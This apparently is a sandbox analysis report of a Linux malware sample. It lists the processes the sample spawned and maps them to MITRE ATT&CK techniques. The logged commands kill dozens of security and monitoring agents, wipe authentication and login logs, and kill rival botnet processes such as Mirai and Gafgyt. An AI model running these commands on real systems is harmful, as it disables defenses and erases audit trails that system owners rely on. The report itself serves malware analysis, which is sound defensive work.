pkill -9 -f "[x]agt"
1⤵
PID:1057

/usr/bin/pkill
pkill -9 -f "[c]bdefense"
1⤵
PID:1059

/usr/bin/pkill
pkill -9 -f "[c]bagent"
1⤵
PID:1061

/usr/bin/pkill
pkill -9 -f "[c]arbonblack"
1⤵
- Reads runtime system information
PID:1063

/usr/bin/pkill
pkill -9 -f "[r]epwel"
1⤵
PID:1065

/usr/bin/pkill
pkill -9 -f "[c]ylance"
1⤵
PID:1067

/usr/bin/pkill
pkill -9 -f "[s]vcdiva"
1⤵
- Reads runtime system information
PID:1069

/usr/bin/pkill
pkill -9 -f "[m]datp"
1⤵
- Reads runtime system information
PID:1071

/usr/bin/pkill
pkill -9 -f "[m]dallaips"
1⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:1073

/usr/bin/pkill
pkill -9 -f "[s]ensedata"
1⤵
- Reads runtime system information
PID:1075

/usr/bin/pkill
pkill -9 -f "[s]ophos"
1⤵
PID:1077

/usr/bin/pkill
pkill -9 -f "[s]avscanner"
1⤵
PID:1079

/usr/bin/pkill
pkill -9 -f "[r]tvscan"
1⤵
- Reads runtime system information
PID:1081

/usr/bin/pkill
pkill -9 -f "[s]ymantec"
1⤵
PID:1083

/usr/bin/pkill
pkill -9 -f "[S]ymAux"
1⤵
PID:1085

/usr/bin/pkill
pkill -9 -f "[t]rendmicro"
1⤵
PID:1087

/usr/bin/pkill
pkill -9 -f "[d]s_agent"
1⤵
PID:1089

/usr/bin/pkill
pkill -9 -f "[e]dragent"
1⤵
PID:1091

/usr/bin/pkill
pkill -9 -f "[o]squeryd"
1⤵
- Reads runtime system information
PID:1093

/usr/bin/pkill
pkill -9 -f "[s]ysmon"
1⤵
- Reads runtime system information
PID:1095

/usr/bin/pkill
pkill -9 -f "[c]lamd"
1⤵
PID:1097

/usr/bin/pkill
pkill -9 -f "[k]lscan"
1⤵
- Reads runtime system information
PID:1099

/usr/bin/pkill
pkill -9 -f "[k]avfs"
1⤵
- Reads runtime system information
PID:1101

/usr/bin/pkill
pkill -9 "[a]uditd"
1⤵
- Reads runtime system information
PID:1104

/usr/bin/pkill
pkill -9 -f "[s]noop"
1⤵
- Reads runtime system information
PID:1105

/usr/bin/pkill
pkill -9 -f "[a]ccton"
1⤵
- Reads runtime system information
PID:1106

/usr/bin/truncate
truncate -s 0 "/var/log/auth*" /var/log/secure /var/log/wtmp /var/log/lastlog
1⤵
- Deletes log files
PID:1108

/usr/bin/pkill
pkill -9 -x mirai
1⤵
PID:1112

/usr/bin/pkill
pkill -9 -x mirai.arm
1⤵
PID:1114

/usr/bin/pkill
pkill -9 -x mirai.mips
1⤵
- System Network Configuration Discovery
PID:1116

/usr/bin/pkill
pkill -9 -x mirai.mpsel
1⤵
- Reads runtime system information
PID:1118

/usr/bin/pkill
pkill -9 -x gafgyt
1⤵
PID:1120

/usr/bin/pkill
pkill -9 -x bashlite
1⤵
PID:1122

/usr/bin/pkill
pkill -9 -x tsunami
1⤵
PID:1124

/usr/bin/pkill
pkill -9 -x hakai
1⤵
- Reads runtime system information
PID:1126

/usr/bin/pkill
pkill -9 -x sora
1⤵
PID:1128

/usr/bin/pkill
pkill -9 -x qbot
1⤵
PID:1130

/usr/bin/pkill
pkill -9 -x astaroth
1⤵
- Reads runtime system information
PID:1132

/usr/bin/pkill
pkill -9 -x ozyman
1⤵
PID:1134

/usr/bin/pkill
pkill -9 -x nihappy
1⤵
PID:1136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads